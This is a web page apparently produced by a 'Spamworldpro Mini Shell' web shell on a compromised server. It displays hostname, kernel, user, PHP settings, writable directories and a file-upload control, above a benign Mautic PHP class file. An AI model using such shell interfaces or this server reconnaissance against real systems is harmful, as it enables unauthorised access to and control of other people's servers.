Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/MarketplaceBundle/DTO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/mautic.corals.io/app/bundles/MarketplaceBundle/DTO/PackageBase.php
<?php

declare(strict_types=1);

namespace Mautic\MarketplaceBundle\DTO;

final class PackageBase
{
    public function __construct(
        /**
         * Original name in format "vendor/name".
         */
        public string $name,
        public string $url,
        public string $repository,
        public string $description,
        public int $downloads,
        public int $favers,
        /**
         * E.g. mautic-plugin.
         */
        public ?string $type,
        public ?string $displayName = null
    ) {
    }

    public static function fromArray(array $array): self
    {
        return new self(
            $array['name'],
            $array['url'],
            $array['repository'],
            $array['description'],
            (int) $array['downloads'],
            (int) $array['favers'],
            $array['type'] ?? null,
            $array['display_name'] ?? null
        );
    }

    /**
     * Just an alias to getName(). Used in Mautic helpers.
     */
    public function getId(): string
    {
        return $this->name;
    }

    /**
     * Used in Mautic helpers.
     */
    public function getName(): string
    {
        return $this->name;
    }

    public function getPackageName(): string
    {
        [, $packageName] = explode('/', $this->name);

        return $packageName;
    }

    public function getHumanPackageName(): string
    {
        if ($this->displayName) {
            return $this->displayName;
        }

        return utf8_ucwords(str_replace('-', ' ', $this->getPackageName()));
    }

    public function getVendorName(): string
    {
        [$vendor] = explode('/', $this->name);

        return $vendor;
    }
}

Spamworldpro Mini